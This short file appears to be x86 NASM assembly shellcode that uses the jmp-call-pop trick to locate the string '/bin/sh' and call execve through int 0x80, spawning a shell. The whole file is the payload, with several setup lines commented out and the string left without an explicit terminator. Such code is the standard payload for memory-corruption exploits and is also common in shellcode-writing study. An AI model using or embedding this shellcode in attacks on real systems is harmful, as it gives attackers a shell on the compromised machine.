execve-jcp.nasm

section .text

global _start

_start:
	jmp short shellcodestr

decode:
	pop esi
	xor eax,eax

;	mov byte[esi+7],al
;	mov dword[esi+8],esi
;	mov dword[esi+12],eax

	lea ebx,[esi]
;	lea ecx,[esi+8]
;	lea edx,[esi+12]

	xor ecx,ecx
	xor edx,edx

	mov al,0xb
	int 80h


shellcodestr:
	call decode
	shellcode : db "/bin/sh"